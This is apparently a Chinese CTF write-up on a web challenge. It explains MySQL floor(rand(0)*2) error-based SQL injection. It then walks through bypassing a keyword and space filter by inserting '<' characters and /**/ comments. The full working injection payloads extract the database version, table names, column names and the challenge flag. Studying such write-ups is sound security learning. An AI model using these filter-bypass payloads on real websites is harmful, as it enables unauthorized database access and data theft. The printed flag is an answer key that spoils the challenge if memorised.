蓝鲸安全ctf打卡web篇----第一期
一.真的注入
floor报错注入
floor 函数是一个下去整函数
rand(0) 能产生一个随机数
floor(rand(0)2) 能够产生0或1的随机值
count()+group by * 会对查询表格归类计数,相同值的列归一后计数加1
concat() 可将两类值合并为一列select
select count(*),concat(floor(rand(0)*2),version())x from information_schema.tables group by x;
简化下来就是
select count(*) from information_schema.tables group by concat(floor(rand(0)*2),version());
打开数据库运行代码,出现
floor(rand(0)*2)报错是有条件的,数据库记录必须3条以上,而且在3条以上必定报错.
附几篇大佬文章:
https://mp.weixin.qq.com/s?__biz=MzA5NDY0OTQ0Mw==&mid=403404979&idx=1&sn=27d10b6da357d72304086311cefd573e&scene=1&srcid=04131X3lQlrDMYOCntCqWf6n#wechat_redirect
http://heartsky.info/2016/12/04/%E5%87%A0%E7%A7%8D%E5%B8%B8%E8%A7%81%E7%9A%84%20MySQL%20%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5/
https://www.dazhuanlan.com/2019/12/09/5dee475c39bec/
会报错出rand(0)*2和版本名.
题目:
首先直接输入 ’ 发现报错,说明可能存在注入。
用 ’ and ‘1’='1 搜索发现页面跳转
被拦截了,相当于waf
然后测试哪些字符被拦截了。用burp跑一下,抓包设置变量
发现 and,union,or,select,order这些字符被拦截了。空格也被过滤
看题目,试试xss.
测试
(的确不是xss)
发现有些字符被过滤了,于是试试哪些字符被过滤了
输入 <>,.-#
发现尖括号被过滤为空
那么我们就可以用利用尖括号进行绕过。比如利用uni<on破坏检测结构,之后尖括号被过滤,union又被组合回来
空格被过滤,但可以用/**/代替。
输入:SQL%'/**/a<nd/**/'1'='1'#
输入sql%'/**/order/**/by/**/4#
输入sql%'/**/order/**/by/**/3#
说明有三个字段。
输入sql%'/**/union/**/select/**/1,2,3#
但没有回显,说明网页做了过滤。
之前输入单引号时报错了,所以可以用报错.
输入
sql%'/**/a<nd/**/(sel<ect/**/1/**/fr<om/**/(se<lect/**/coun<t(*),con<cat((se<lect/**/co<ncat_ws(0x5e,ver<sion(),dat<abase())),floo<r(ra<nd(0)*2))x/**/fr<om/**/info<rmation_schema.tables/**/gr<oup/**/by/**/x)a)#
因为or会被拦截所以注意information等其他单词中的or绕过。
报错出了版本号,和数据库,外加了一个数字1
sql%'/**/a<nd/**/(sel<ect/**/1/**/fr<om/**/(se<lect/**/coun<t(*),con<cat((se<lect/**/co<ncat_ws(0x7e,table_name,0x7e)/**/fr<om/**/info<rmation_schema.tables/**/whe<re/**/table_schema=database()/**/limit/**/0,1),floo<r(ra<nd(0)*2))x/**/fr<om/**/info<rmation_schema.tables/**/gr<oup/**/by/**/x)a)#
爆出表名。可以更换limit查其他表名,现在猜测flag可能藏在这个表名里,继续查列名。但是发现column和columns直接被过滤为空了,用<也不能绕过。
那么我们可以直接猜解其列名来爆出flag
sql%'/**/a<nd/**/(sel<ect/**/1/**/fr<om/**/(se<lect/**/coun<t(*),con<cat((se<lect/**/co<ncat_ws(0x7e,column_name,0x7e)/**/fr<om/**/flag_0d9a/**/limit/**/0,1),floo<r(ra<nd(0)*2))x/**/fr<om/**/info<rmation_schema.tables/**/gr<oup/**/by/**/x)a)#
burp中column_name设置为变量。
发现flag列被跑出来了,flag也出来了whale{hRzfVlzK95LVaASs}
上一篇: 小白浅谈SQL注入(二)
下一篇: SQL注入笔记
评论列表